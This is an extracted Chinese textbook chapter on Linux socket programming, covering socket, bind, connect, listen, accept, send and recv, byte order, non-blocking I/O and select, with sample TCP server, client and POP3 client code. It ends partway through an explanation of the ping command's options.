程序設(shè)計(jì)技術(shù)技巧與項(xiàng)目實(shí)踐-網(wǎng)絡(luò)編程_第1頁
程序設(shè)計(jì)技術(shù)技巧與項(xiàng)目實(shí)踐-網(wǎng)絡(luò)編程_第2頁
程序設(shè)計(jì)技術(shù)技巧與項(xiàng)目實(shí)踐-網(wǎng)絡(luò)編程_第3頁
程序設(shè)計(jì)技術(shù)技巧與項(xiàng)目實(shí)踐-網(wǎng)絡(luò)編程_第4頁
程序設(shè)計(jì)技術(shù)技巧與項(xiàng)目實(shí)踐-網(wǎng)絡(luò)編程_第5頁
已閱讀5頁,還剩40頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

第九章 網(wǎng)絡(luò)編程SOCKET的概念SOCKET的建??與配置SOCKET的連接建??數(shù)據(jù)傳輸SOCKET編程實(shí)例PING命令解析實(shí)戰(zhàn)技巧光驅(qū)與軟驅(qū)的加載方法5/20/202219.1

Socket的概念Socket是TCP/IP協(xié)議傳輸層提供的接口或套接字,供用戶編程訪問網(wǎng)絡(luò)資源時(shí)的工具。Socket接口是TCP/IP網(wǎng)絡(luò)的API,socket接口定義了許多函數(shù)或例程,程序員用它們開發(fā)TCP/IP網(wǎng)絡(luò)上的應(yīng)用程序。

TCP/IP協(xié)議(Transmission

Control

Protocol/InternetProtocol)是傳輸控制/網(wǎng)際協(xié)議,又叫網(wǎng)絡(luò)通信協(xié)議,這個(gè)協(xié)議是Internet國際互聯(lián)網(wǎng)絡(luò)的基礎(chǔ)。要學(xué)Internet上的TCP/IP網(wǎng)絡(luò)編程,必須理解socket接口。Linux的套接口通信模式與日常生活中的電話通信非常類似,套接字代表通信線路中的端點(diǎn),端點(diǎn)之間通過通信網(wǎng)絡(luò)來相互聯(lián)系。Socket接口設(shè)計(jì)者最先是將接口放在Unix操作系統(tǒng)里面的。如果了解Unix系統(tǒng)的輸入和輸出,就很容易了解socket。網(wǎng)絡(luò)的socket數(shù)據(jù)傳輸是一種特殊的I/O,socket也是一種文件描述符。Socket也具有一個(gè)類似于打開文件的函數(shù)調(diào)用socket(),該函數(shù)返回一個(gè)整型的socket描述符,隨后的連接建立、數(shù)據(jù)傳輸?shù)炔僮鞫际峭ㄟ^該socket實(shí)現(xiàn)的。常用的socket類型有兩種:流式socket(SOCK_STREAM)和數(shù)據(jù)報(bào)式socket(SOCK_DGRAM)。流式是一種面向連接的socket,針對于面向連接的TCP服務(wù)應(yīng)用;數(shù)據(jù)報(bào)式socket是一種無連接的socket,對應(yīng)于無連接的UDP服務(wù)應(yīng)用。5/20/202229.2

Socket的建??與配置為了建立socket,程序可以調(diào)用socket函數(shù),該函數(shù)返回一個(gè)類似于文件描述符的句柄。socket函數(shù)原型為:int

socket(int

domain,

int

type,

int

protocol);domain指明所使用的協(xié)議族,通常為PF_INET,表示互聯(lián)網(wǎng)協(xié)議族(TCP/IP協(xié)議族);type參數(shù)指定socket的類型:SOCK_STREAM或SOCK_DGRAM,socket接口還定義了原始socket(SOCK_RAW),允許程序使用底層協(xié)議;protocol通常賦值為0。socket()調(diào)用返回一個(gè)整型

socket描述符,可在后面直接使用它。Socket描述符是一個(gè)指向內(nèi)部數(shù)據(jù)結(jié)構(gòu)的指針,它指向描

述符表入口。調(diào)用socket函數(shù)時(shí),socket執(zhí)行體將“建立一個(gè)socket”,這意味著為一個(gè)socket數(shù)據(jù)結(jié)構(gòu)分配存儲(chǔ)空間。

Socket執(zhí)行體用來管理描述符表。兩個(gè)網(wǎng)絡(luò)程序之間的一個(gè)網(wǎng)絡(luò)連接包括五種信息:通信協(xié)議、本地協(xié)議地址、本地主機(jī)端口、遠(yuǎn)端主機(jī)地址和遠(yuǎn)端協(xié)議端口。Socket數(shù)據(jù)結(jié)構(gòu)中包含這五種信息。5/20/20223通過socket調(diào)用返回一個(gè)socket描述符后,在使用socket進(jìn)行網(wǎng)絡(luò)傳輸以前,必須配置該socket。面向連接的socket客戶端通過調(diào)用connect()函數(shù)在socket數(shù)據(jù)結(jié)構(gòu)中保存本地和遠(yuǎn)端信息。無連接socket的客戶端和服務(wù)端以及面向連接socket的服務(wù)端通過調(diào)用bind()函數(shù)來配置本地信息。Bind函數(shù)將socket與本機(jī)上的一個(gè)端口相關(guān)聯(lián),隨后就可以在該端口監(jiān)聽服務(wù)請求。Bind函數(shù)原型為:int

bind(int

sockfd,struct

sockaddr

*my_addr,

int

addrlen);其中的sockfd是調(diào)用socket函數(shù)返回的socket描述符,my_addr是一個(gè)指向包含有本機(jī)IP地址及端口號等信息的sockaddr類型的指針;addrlen常被設(shè)置為sizeof(struct

sockaddr)。struct

sockaddr結(jié)構(gòu)類型是用來保存socket信息的:struct

sockaddr

{unsigned

short

sa_family;

/*

地址族,AF_xxx

*/char

sa_data[14]; /*14個(gè)字節(jié)的協(xié)議地址*/};sa_family一般為AF_INET,代表Internet(TCP/IP)地址族;

sa_data則包含該socket的IP地址和端口號。5/20/20224另外還有一種結(jié)構(gòu)類型:struct

sockaddr_in

{shortintsin_family; /*

地址族*/unsigned

short

int

sin_port;

/*

端口號*/struct

in_addr

sin_addr; /*

IP地址*/unsigned

char

sin_zero[8];/*

填充0保持與structsockaddr大小相同*/};這個(gè)結(jié)構(gòu)更方便使用。sin_zero用來將sockaddr_in結(jié)構(gòu)填充到與structsockaddr同樣的長度,可以用bzero()或memset()函數(shù)將其置為零。指向sockaddr_in

的指針和指向sockaddr的指針可以相互轉(zhuǎn)換,這意味

著如果一個(gè)函數(shù)所需參數(shù)類型是sockaddr時(shí),你可以在函數(shù)調(diào)用的時(shí)候?qū)⒁粋€(gè)指向sockaddr_in的指針轉(zhuǎn)換為指向sockaddr的指針或相反。使用bind函數(shù)時(shí),可以用下面的賦值實(shí)現(xiàn)自動(dòng)獲得本機(jī)IP地址和隨機(jī)獲取一個(gè)沒有被占用的端口號:my_addr.sin_port=0; /*

系統(tǒng)隨機(jī)選擇一個(gè)未被使用的端口號*/my_addr.sin_addr.s_addr=INADDR_ANY;

/*

填入本機(jī)IP地址*/5/20/20225通過將my_addr.sin_port置為0,函數(shù)會(huì)自動(dòng)選擇一個(gè)未占用的端口使用。同樣,通過將my_addr.sin_addr.s_addr置為INADDR_ANY,系統(tǒng)會(huì)自動(dòng)填入本機(jī)IP地址。注意使用bind函數(shù)需要將sin_port和sin_addr轉(zhuǎn)換成為網(wǎng)絡(luò)字節(jié)優(yōu)先順序;而sin_addr則不需要轉(zhuǎn)換。實(shí)際上,計(jì)算機(jī)數(shù)據(jù)存儲(chǔ)有兩種字節(jié)優(yōu)先順序:高位字節(jié)優(yōu)先和低位字節(jié)優(yōu)先。Internet上數(shù)據(jù)以高位字節(jié)優(yōu)先順序在網(wǎng)絡(luò)上傳輸,所以對于在內(nèi)部是以低位字節(jié)優(yōu)先方式存儲(chǔ)數(shù)據(jù)的機(jī)器,在Internet上傳輸數(shù)據(jù)時(shí)就需要進(jìn)行轉(zhuǎn)換,否則就會(huì)出現(xiàn)數(shù)據(jù)不一致。下面是幾個(gè)字節(jié)順序轉(zhuǎn)換函數(shù):htonl():把32位值從主機(jī)字節(jié)序轉(zhuǎn)換成網(wǎng)絡(luò)字節(jié)序htons():把16位值從主機(jī)字節(jié)序轉(zhuǎn)換成網(wǎng)絡(luò)字節(jié)序ntohl():把32位值從網(wǎng)絡(luò)字節(jié)序轉(zhuǎn)換成主機(jī)字節(jié)序ntohs():把16位值從網(wǎng)絡(luò)字節(jié)序轉(zhuǎn)換成主機(jī)字節(jié)序Bind()函數(shù)在成功被調(diào)用時(shí)返回0;出現(xiàn)錯(cuò)誤時(shí)返回"-1"并將errno置為相應(yīng)的錯(cuò)誤號。需要注意的是,在調(diào)用bind函數(shù)時(shí)一般不要將端口號置為小于1024的值,因?yàn)?到1024是保留端口號,你可以選擇大于1024中的任何一個(gè)沒有被占用的端口號。5/20/20226大端存儲(chǔ)模式和小端存儲(chǔ)模式辨析:在嵌入式系統(tǒng)開發(fā)里要對小端Little-endian和大端Big-endian模式非常了解。例如,16bit寬的數(shù)0x1234在Little-endian模式CPU內(nèi)存中的存放方式(假設(shè)從地址0x4000開始存放)為:內(nèi)存地址

0x4000

0x4001存放內(nèi)容

0x34

0x12而在Big-endian模式CPU內(nèi)存中的存放方式則為:內(nèi)存地址

0x4000

0x4001存放內(nèi)容

0x12

0x34有時(shí)候,用C語言寫程序時(shí)需要知道是大端模式還是小端模式。所謂

的大端模式,是指數(shù)據(jù)的低位保存在內(nèi)存的高地址中,而數(shù)據(jù)的高位,保存在內(nèi)存的低地址中;所謂的小端模式,是指數(shù)據(jù)的低位保存在內(nèi)存的低地址中,而數(shù)據(jù)的高位保存在內(nèi)存的高地址中。為什么會(huì)有大小端模式之分呢?這是因?yàn)樵谟?jì)算機(jī)系統(tǒng)中,我們是以字節(jié)為單位的,每個(gè)地址單元都對應(yīng)著一個(gè)字節(jié),一個(gè)字節(jié)為8bit。5/20/20227但是在C語言中除了8bit的char之外,還有16bit的short型,32bit的long型(要看具體的編譯器),另外,對于位數(shù)大于8位的處理器,例如16位或者32位的處理器,由于寄存器寬度大于一個(gè)字節(jié),那么必然存在著一個(gè)如何將多個(gè)字節(jié)安排的問題,從而導(dǎo)致了大端存儲(chǔ)模式和小端存儲(chǔ)模式。例如一個(gè)16bit的short型x,在內(nèi)存中的地址為0x0010,x的值為0x1122,那么0x11為高字節(jié),0x22為低字節(jié)。對于大端模式,就將0x11放在低地址中,即0x0010中,0x22放在高地址中,即

0x0011中。小端模式,剛好相反。我們常用的X86結(jié)構(gòu)是小端模式,而KEIL

C51則為大端模式。很多的ARM,DSP都為小端模式。有些

ARM處理器還可以由硬件來選擇是大端模式還是小端模式。下面這段代碼可以用來測試一下你的編譯器是大端模式還是小端模式:shortintx;char

x0,x1;x=0x1122;x0=((char*)&x)[0];//低地址單元x1=((char*)&x)[1];//高地址單元若x0=0x11,則是大端;若x0=0x22,則是小端。5/20/202289.3

socket的連接建??面向連接的客戶程序使用connect函數(shù)來配置socket并與遠(yuǎn)端服務(wù)器建立一個(gè)TCP連接,其函數(shù)原型為:int

connect(int

sockfd,

struct

sockaddr

*serv_addr,int

addrlen);sockfd

是socket函數(shù)返回的socket描述符;serv_addr是包含遠(yuǎn)端主機(jī)

IP地址和端口號的指針;addrlen是遠(yuǎn)端地址結(jié)構(gòu)的長度。Connect()函數(shù)在出現(xiàn)錯(cuò)誤時(shí)返回-1,并設(shè)置errno為相應(yīng)的錯(cuò)誤碼。進(jìn)行客戶端程序設(shè)計(jì)無須調(diào)用bind(),因?yàn)檫@種情況下只需知道目標(biāo)機(jī)的IP地址,而客戶通過哪個(gè)端口與服務(wù)器建立連接并不需要關(guān)心,socket執(zhí)行體

將為程序自動(dòng)選擇一個(gè)未被占用的端口,并通知程序數(shù)據(jù)什么時(shí)候到達(dá)該端口。connect函數(shù)啟動(dòng)和遠(yuǎn)端主機(jī)的直接連接。只有面向連接的客戶程序使用socket時(shí)才將此socket與遠(yuǎn)端主機(jī)相連。無連接協(xié)議從不建立直接連接。面向連接的服務(wù)器也從不啟動(dòng)一個(gè)連接,它只是被動(dòng)的在協(xié)議端口監(jiān)聽客戶的請求。listen()函數(shù)使socket處于被動(dòng)監(jiān)聽模式,并為該socket建立輸入數(shù)據(jù)隊(duì)列,將到達(dá)的服務(wù)請求保存在此隊(duì)列中,直到程序處理它們。該函數(shù)的原型是:int

listen(int

sockfd,int

backlog);5/20/20229Sockfd依然是socket系統(tǒng)調(diào)用返回的socket描述符;backlog指定在請求隊(duì)列中允許的最大請求數(shù),進(jìn)入的連接請求將在隊(duì)列中等待accept()接收它們。Backlog對隊(duì)列中等待服務(wù)的請求數(shù)目進(jìn)行限制,大多數(shù)系統(tǒng)缺省值為20。如果一個(gè)服務(wù)請求到來時(shí),輸入隊(duì)列已滿,該socket將拒絕連接請求,客戶將收到一個(gè)出錯(cuò)信息。當(dāng)出現(xiàn)錯(cuò)誤時(shí)listen()函數(shù)返回-1,并置相應(yīng)的errno錯(cuò)誤碼。accept()函數(shù)讓服務(wù)器接收客戶的連接請求。在建立好輸入隊(duì)列后,服務(wù)器就調(diào)用accept函數(shù),然后睡眠等待客戶的連接請求。該函數(shù)的原型是:int

accept(intsockfd,

void

*addr,

int*addrlen);sockfd是被監(jiān)聽的socket描述符,addr通常是一個(gè)指向sockaddr_in變量的指針,該變量用來存放提出連接請求服務(wù)的主機(jī)的信息(即某臺主機(jī)從某個(gè)端口發(fā)出該請求);addrten通常為一個(gè)指向值為

sizeof(structsockaddr_in)的整型指針變量。出現(xiàn)錯(cuò)誤時(shí)accept函數(shù)返回-1并置相應(yīng)的errno值。當(dāng)accept函數(shù)監(jiān)視的socket收到連接請求時(shí),socket執(zhí)行體將建立一個(gè)新的socket,執(zhí)行體將這個(gè)新socket和請求連接進(jìn)程的地址聯(lián)系起來,收到服務(wù)請求的初始socket仍可以繼續(xù)在以前的socket上監(jiān)聽,同時(shí)可以在新的socket描述符上進(jìn)行數(shù)據(jù)傳輸操作。5/20/2022109.4

數(shù)據(jù)傳輸send()和recv()這兩個(gè)函數(shù)用于面向連接的socket上進(jìn)行數(shù)據(jù)傳輸。Send()函數(shù)原型為:int

send(intsockfd,const

void

*msg,int

len,intflags);Sockfd是用來傳輸數(shù)據(jù)的socket描述符;msg是一個(gè)指向要發(fā)送數(shù)據(jù)的指針;len是以字節(jié)為單位的數(shù)據(jù)長度;flags一般情況下置為0。Send()函數(shù)返回實(shí)際上發(fā)送出的字節(jié)數(shù),可能會(huì)少于希望發(fā)送的數(shù)據(jù)。在程序中應(yīng)該將send()的返回值與欲發(fā)送的字節(jié)數(shù)進(jìn)行比較。當(dāng)send()返回值與len不匹配時(shí),應(yīng)該對這種情況進(jìn)行處理。char

*msg

="Hello!";intlen,bytes_sent;……len

=strlen(msg);bytes_sent=

send(sockfd,msg,len,0);……recv()函數(shù)原型為:int

recv(int

sockfd,void

*buf,int

len,unsigned

int

flags);5/20/202211Sockfd是接受數(shù)據(jù)的socket描述符;buf是存放接收數(shù)據(jù)的緩沖區(qū);len是緩沖的長度。Flags也被置為0。Recv()返回實(shí)際上接收的字節(jié)數(shù),當(dāng)出現(xiàn)錯(cuò)誤時(shí),返回-1并置相應(yīng)的errno值。Sendto()和recvfrom()用于在無連接的數(shù)據(jù)報(bào)

socket方式下進(jìn)行的數(shù)據(jù)傳輸。由于本地socket并沒有與遠(yuǎn)端機(jī)器建立連接,所以在發(fā)送數(shù)據(jù)時(shí)應(yīng)指明目的地址。sendto()函數(shù)原型為:int

sendto(int

sockfd,

const

void

*msg,int

len,unsigned

intflags,const

struct

sockaddr

*to,

int

tolen);該函數(shù)比send()函數(shù)多兩個(gè)參數(shù),to表示目地機(jī)的IP地址和端口號,而tolen常被賦值為sizeof

(struct

sockaddr)。Sendto函數(shù)也返回實(shí)際發(fā)送的數(shù)據(jù)字節(jié)長度或在出現(xiàn)發(fā)送錯(cuò)誤時(shí)返回-1。5/20/202212recvfrom()函數(shù)原型為:int

recvfrom(int

sockfd,void

*buf,int

len,unsigned

intflags,struct

sockaddr

*from,int

*fromlen);其中的from是一個(gè)structsockaddr類型的變量,該變量保存源機(jī)的IP地址及端口號。fromlen常置為sizeof

(structsockaddr)。當(dāng)recvfrom()返回時(shí),fromlen包含實(shí)際存入

from中的數(shù)據(jù)字節(jié)數(shù)。Recvfrom()函數(shù)返回接收到的字節(jié)數(shù)或出錯(cuò)時(shí)返回-1并置相應(yīng)的errno。如果對數(shù)據(jù)報(bào)socket調(diào)用connect()函數(shù),可以利用send()和recv()進(jìn)行數(shù)據(jù)傳輸,但該socket仍然是數(shù)據(jù)報(bào)socket,利用傳輸層UDP服務(wù)。但在發(fā)送或接收數(shù)據(jù)報(bào)時(shí),內(nèi)核會(huì)自動(dòng)加上目的地和源地址信息。當(dāng)所有的數(shù)據(jù)操作結(jié)束后,可以調(diào)用close()函數(shù)釋放該socket,停止在該socket上的任何數(shù)據(jù)操作:close(sockfd);5/20/202213也可以調(diào)用shutdown()函數(shù)關(guān)閉該socket。該函數(shù)允許只停止在某個(gè)方向上的數(shù)據(jù)傳輸,而其它方向上的數(shù)據(jù)傳輸還會(huì)繼續(xù)進(jìn)行。也可以關(guān)閉某個(gè)socket的寫操作而允許繼續(xù)在該socket上接受數(shù)據(jù),直至讀入所有數(shù)據(jù)。int

shutdown(int

sockfd,int

how);Sockfd是需要關(guān)閉的socket的描述符。參數(shù)how允許為shutdown操作選擇以下幾種方式:0-------不允許繼續(xù)接收數(shù)據(jù);1-------不允許繼續(xù)發(fā)送數(shù)據(jù);

2-------不允許繼續(xù)發(fā)送和接收數(shù)據(jù);均為允許則

調(diào)用close()。shutdown()在操作成功時(shí)返回0,在出錯(cuò)時(shí)返回-1并置相應(yīng)errno。5/20/2022149.5

Socket編程實(shí)例在下面的實(shí)例中,服務(wù)器將通過socket連接向客戶端發(fā)送字符串“Hello,youareconnected!”。只要在服務(wù)器上運(yùn)行該軟件,在客戶端運(yùn)行客戶軟件,客戶端就會(huì)收到該字符串。服務(wù)器端的軟件server.c代碼如下:#include

<stdio.h>#include

<stdlib.h>#include

<errno.h>#include

<string.h>#include

<sys/types.h>#include

<netinet/in.h>#include

<sys/socket.h>#include

<sys/wait.h>#define

SERVPORT

3333/*服務(wù)器監(jiān)聽端口號*/#define

BACKLOG

10

/*最大同時(shí)連接請求數(shù)*/5/20/202215main(){int

sockfd,client_fd;

/*sock_fd監(jiān)聽socket;client_fd數(shù)據(jù)傳輸socket

*/struct

sockaddr_in

my_addr;

/*本機(jī)地址信息*/struct

sockaddr_in

remote_addr;

/*

客戶端地址信息*/if

((sockfd

=

socket(AF_INET,

SOCK_STREAM,

0))

==

-1)

{perror(

"socket創(chuàng)建出錯(cuò)!");exit(1);}my_addr.sin_family=AF_INET;my_addr.sin_port=htons(SERVPORT);my_addr.sin_addr.s_addr

=

INADDR_ANY;bzero(

&(my_addr.sin_zero),8);if

(bind(sockfd,

(struct

sockaddr

*)

&my_addr,

sizeof(struct

sockaddr))

==

-1)

{perror(

"bind出錯(cuò)!");exit(1);}if

(listen(sockfd,

BACKLOG)

==

-1)

{perror(

"listen出錯(cuò)!");exit(1);}5/20/202216while(1){sin_size

=

sizeof(structsockaddr_in);if

((client_fd

=

accept(sockfd,

(struct

sockaddr

*)&remote_addr,&sin_size))

==

-1){perror(

"accept出錯(cuò)");continue;}printf(

"received

a

connection

from

%s\n",inet_ntoa(remote_addr.sin_addr));if(!fork()){/*

子進(jìn)程代碼段*/if

(send(client_fd,

"Hello,you

are

connected!\n",

26,0)

==

-1)perror(

"send出錯(cuò)!");close(client_fd);exit(0);}close(client_fd);}}

}5/20/202217服務(wù)器端的工作流程是這樣的:首先調(diào)用socket()函數(shù)創(chuàng)建一個(gè)socket,然后調(diào)用bind()函

數(shù)將其與本機(jī)地址以及一個(gè)本地端口號綁定,然后調(diào)用listen()在相應(yīng)的socket上監(jiān)聽,當(dāng)accpet()接收到一個(gè)連接服務(wù)請求時(shí),將生成一個(gè)新的socket。服務(wù)器顯示該客戶機(jī)的IP地址,并通過新的socket向客戶端發(fā)送字符串“Hello,you

are

connected!”,最后關(guān)閉該socket。代碼實(shí)例中的fork()函數(shù)就就將生成一個(gè)子進(jìn)程處理數(shù)據(jù)傳輸部分,fork()語句對于子進(jìn)程返回的值為0。所以包含

fork函數(shù)的if語句是子進(jìn)程代碼部分,它與if語句后面的父進(jìn)程代碼部分是并發(fā)執(zhí)行的。5/20/2022189.5.2

客戶端的軟件程序客戶端程序client.c代碼如下:#include<stdio.h>#include

<stdlib.h>#include

<errno.h>#include

<string.h>#include

<netdb.h>#include

<sys/types.h>#include

<netinet/in.h>#include

<sys/socket.h>#define

SERVPORT

3333#define

MAXDATASIZE

100

/*每次最大數(shù)據(jù)傳輸量*/main(int

argc,

char

*argv[]){int

sockfd,

recvbytes;char

buf[MAXDATASIZE];struct

hostent

*host;struct

sockaddr_in

serv_addr;if

(argc

<

2)

{fprintf(stderr,"Please

enter

the

server's

hostname!\n");exit(1);}5/20/202219if((host=gethostbyname(argv[1]))==NULL){herror("gethostbyname出錯(cuò)!");exit(1);}if

((sockfd

=

socket(AF_INET,SOCK_STREAM,0))

==

-1){perror("socket創(chuàng)建出錯(cuò)!");exit(1);}serv_addr.sin_family=AF_INET;serv_addr.sin_port=htons(SERVPORT);serv_addr.sin_addr

=

*((struct

in_addr

*)host-

>h_addr);bzero(&(serv_addr.sin_zero),8);if

(connect(sockfd,

(struct

sockaddr

*)

&serv_addr,

\sizeof(struct

sockaddr))==

-1){perror("connect出錯(cuò)!");exit(1);}5/20/202220if

((recvbytes=recv(sockfd,

buf,

MAXDATASIZE,

0))

==-1)

{perror("recv出錯(cuò)!");exit(1);}buf[recvbytes]=

'\0';printf("Received:%s",buf);close(sockfd);}客戶端程序首先通過服務(wù)器域名獲得服務(wù)器的IP,然后創(chuàng)建一個(gè)

socket,調(diào)用connect函數(shù)與服務(wù)器建立連接,連接成功之后接收從服務(wù)器發(fā)送來的數(shù)據(jù),最后關(guān)閉socket。函數(shù)gethostbyname()是完成域名轉(zhuǎn)換的。由于IP地址難以記憶和讀寫,所以為了方便,人們常常用域名來表示主機(jī),這就需要進(jìn)行域名和IP地址的轉(zhuǎn)換。轉(zhuǎn)換函數(shù)的原型為:struct

hostent

*gethostbyname(const

char

*name);5/20/202221函數(shù)返回為hostent的結(jié)構(gòu)類型,它的定義如下:structhostent{char

*h_name; /*

主機(jī)的官方域名*/char

**h_aliases;/*

一個(gè)以NULL結(jié)尾的主機(jī)別名數(shù)組*/inth_addrtype; /*

返回地址類型,Internet環(huán)境下為AF-INET

*/inth_length; /*

地址的字節(jié)長度*/char

**h_addr_list;

/*

以0結(jié)尾的數(shù)組,含該主機(jī)所有地址*/};#define

h_addr

h_addr_list[0]/*在h-addr-list中的第一個(gè)地址*/當(dāng)gethostname()調(diào)用成功時(shí),返回指向struct

hostent的指針,當(dāng)調(diào)用失敗時(shí)返回-1。當(dāng)調(diào)用gethostbyname時(shí),不能使用perror()函數(shù)輸出錯(cuò)誤信息,而要用herror()函數(shù)輸出。無連接的客戶/服務(wù)器程序的在原理上和連接的客戶/服務(wù)器是一樣的,兩者的區(qū)別在于無連接的客戶/服務(wù)器中的客戶一般不需要建立連接,而且在發(fā)送接收數(shù)據(jù)時(shí),需要指定遠(yuǎn)端機(jī)的地址。5/20/2022229.5.3

阻塞和非阻塞阻塞函數(shù)在完成其指定的任務(wù)以前不允許程序調(diào)用另一個(gè)函數(shù)。例如,程序執(zhí)行一個(gè)讀數(shù)據(jù)的函數(shù)調(diào)用時(shí),在此函數(shù)完成讀操作以前將不會(huì)執(zhí)行下一個(gè)程序語句。當(dāng)服務(wù)器運(yùn)行到accept語句時(shí),如果沒有客戶連接服務(wù)請求到來,

服務(wù)器就會(huì)停止在accept語句上等待連接服務(wù)請求的到來,這種情況稱為阻塞(blocking)。而非阻塞操作則可以立即完成。比如,如果你希望服務(wù)器僅僅注意檢查是否有客戶在等待連接,有就接受連接,否則就繼續(xù)做其他事情,則可以通過將socket設(shè)置為非阻塞方式來實(shí)現(xiàn)。非阻塞socket在沒有客戶在等待時(shí)就使accept調(diào)用立即返回。#include

<unistd.h>#include

<fcntl.h>……sockfd

=

socket(AF_INET,SOCK_STREAM,0);fcntl(sockfd,F_SETFL,O_NONBLOCK);……5/20/202223通過設(shè)置socket為非阻塞方式,可以實(shí)現(xiàn)“輪詢”若干

socket。當(dāng)企圖從一個(gè)沒有數(shù)據(jù)等待處理的非阻塞socket讀入數(shù)據(jù)時(shí),函數(shù)將立即返回,其返回值為-1,并置

errno值為EWOULDBLOCK。但是這種“輪詢”會(huì)使CPU處于忙等待方式,降低系統(tǒng)性能,浪費(fèi)系統(tǒng)資源。而調(diào)用select()會(huì)有效解決這個(gè)問題,它允許把進(jìn)程本身掛起來,而同時(shí)使系統(tǒng)內(nèi)核監(jiān)聽所要求的一組文件描述符的

任何活動(dòng),只要確認(rèn)在任何被監(jiān)控的文件描述符上出現(xiàn)活動(dòng),select()調(diào)用將返回指示該文件描述符已準(zhǔn)備好的信息,從而實(shí)現(xiàn)為進(jìn)程選出隨機(jī)的變化,而不必由進(jìn)程本身對輸入進(jìn)行測試而浪費(fèi)CPU開銷。Select函數(shù)原型為:int

select(int

numfds,fd_set

*readfds,fd_set

*writefds,fd_set

*exceptfds,struct

timeval

*timeout);5/20/202224其中readfds、writefds、exceptfds分別是被select()監(jiān)視的讀、寫和異常處理的文件描述符集合。如果要確定是否可以從標(biāo)準(zhǔn)輸入和某個(gè)socket描述符讀取數(shù)據(jù),只要將標(biāo)準(zhǔn)輸入的文件描述符0和相應(yīng)的sockfd加入到readfds集合中;

numfds的值是要檢查的號碼最高的文件描述符加1,這個(gè)例子中numfds的值應(yīng)為sockfd+1;當(dāng)select返回時(shí),readfds將被修改,指示某個(gè)文件描述符已經(jīng)準(zhǔn)備被讀取,可以通過FD_ISSSET()來測試。為了實(shí)現(xiàn)fd_set中對應(yīng)的文件描述符的設(shè)置、復(fù)位和測試,它提供了一組宏:FD_ZERO(fd_set

*set):

清除一個(gè)文件描述符集;FD_SET(int

fd,fd_set

*set):

將一個(gè)文件描述符加入文件描述符集中;FD_CLR(int

fd,fd_set

*set):

將一個(gè)文件描述符從文件描述符集中清除;FD_ISSET(int

fd,fd_set

*set)----試判斷是否文件描述符被置位。Timeout參數(shù)是一個(gè)指向struct

timeval類型的指針,它可以使select()在等待

timeout長時(shí)間后沒有文件描述符準(zhǔn)備好即返回。struct

timeval數(shù)據(jù)結(jié)構(gòu)為:struct

timeval

{int

tv_sec;

/*

secondsint

tv_usec;

/*

microseconds};5/20/2022259.5.4

基于POP3客戶端實(shí)例下面的代碼實(shí)例是基于POP3的客戶協(xié)議,與郵件服務(wù)器連接并取回指定用戶帳號的郵件。與郵件服務(wù)器交互的命令存儲(chǔ)在字符串?dāng)?shù)組

POPMessage中,程序通過一個(gè)do-while循環(huán)依次發(fā)送這些命令。具體

pop3.c代碼如下:#include<stdio.h>#include

<stdlib.h>#include

<errno.h>#include

<string.h>#include

<netdb.h>#include

<sys/types.h>#include

<netinet/in.h>#include

<sys/socket.h>#define

POP3SERVPORT

110#define

MAXDATASIZE

4096main(int

argc,

char*argv[]){intsockfd;structhostent*host;5/20/202226struct

sockaddr_in

serv_addr;char

*POPMessage[]={"USER

userid\r\n","PASS

password\r\n","STAT\r\n","LIST\r\n","RETR

1\r\n","DELE

1\r\n","QUIT\r\n",NULL};intiLength;intiMsg=0;intiEnd=0;char

buf[MAXDATASIZE];if((host=gethostbyname("your.server"))==NULL)

{perror("gethostbyname

error");exit(1);}5/20/202227if

((sockfd

=

socket(AF_INET,

SOCK_STREAM,0))==

-1){perror("socket

error");exit(1);}serv_addr.sin_family=AF_INET;serv_addr.sin_port=htons(POP3SERVPORT);serv_addr.sin_addr

=

*((struct

in_addr

*)host->h_addr);bzero(&(serv_addr.sin_zero),8);if

(connect(sockfd,

(struct

sockaddr

*)&serv_addr,sizeof(struct

sockaddr))==-1){perror("connect

error");exit(1);}do{send(sockfd,POPMessage[iMsg],strlen(POPMessage[iMsg]),0);printf("have

sent:

%s",POPMessage[iMsg]);iLength=recv(sockfd,buf+iEnd,sizeof(buf)-iEnd,0);iEnd+=iLength;buf[iEnd]='\0';printf("received:%s,%d\n",buf,iMsg);iMsg++;}

while

(POPMessage[iMsg]);close(sockfd);}5/20/2022289.6

ping命令解析9.6.1命令基本功能ping命令主要功能是檢測主機(jī)。當(dāng)向主機(jī)發(fā)要求回應(yīng)的信息時(shí),若遠(yuǎn)端主機(jī)網(wǎng)絡(luò)導(dǎo)通,就會(huì)回應(yīng)該信息,并得知該主機(jī)運(yùn)作正常。如圖9.1所示。5/20/202229基本過程是通過發(fā)送Internet控制消息協(xié)議(ICMP)回響請求消息來驗(yàn)證與另一臺TCP/IP計(jì)算機(jī)的IP級連接。對應(yīng)的回響應(yīng)答消息的接收情況將和往返過程的時(shí)間一起顯示出來。ping是用于檢測網(wǎng)絡(luò)連接性、可到達(dá)性和名稱解析的疑難問題的主要TCP/IP命令。如果不帶參數(shù),

ping將顯示幫助。語法如下:ping[-t][-a][-n

Count][-l

Size][-f][-i

TTL][-vTOS][-r

Count][-sCount]

[{-j

HostList

|-k

HostList}]

[-w

Timeout]

[-R]

[-S

SrcAddr]

[-4][-6]TargetName參數(shù)解析:-t指定中斷前ping可以向目標(biāo)持續(xù)發(fā)送回響請求消息。按Ctrl+Break則中斷并顯示統(tǒng)計(jì)信息,按Ctrl+C中斷退出ping。-a指定對目標(biāo)IP地址執(zhí)行反向名稱解析。解析成功則顯示對應(yīng)主機(jī)名。-n

Count指定發(fā)送回響請求消息的次數(shù)。默認(rèn)值是4。-l

Size指定發(fā)送回響請求消息中“數(shù)據(jù)”字段長(字節(jié))。-f指定發(fā)送的“回響請求”消息中IP標(biāo)頭中的不分段標(biāo)記被設(shè)為

1(IPv4)。“回響請求”消息不能在到目標(biāo)的途中被路由器分段。該參數(shù)可解決“路徑最大傳輸單位(PMTU)”的疑難問題。5/20/202230-iTTL用于指定發(fā)送的回響請求消息的IP標(biāo)頭中的TTL字段值。其默認(rèn)值是主機(jī)的默認(rèn)TTL值。TTL的最大值為255。-v

TOS用于指定發(fā)送的“回響請求”消息的IP標(biāo)頭中的“服務(wù)類型

(TOS)”字段值(僅適用于IPv4)。默認(rèn)值是0。TOS

的值是0到255之間的十進(jìn)制數(shù)。-r

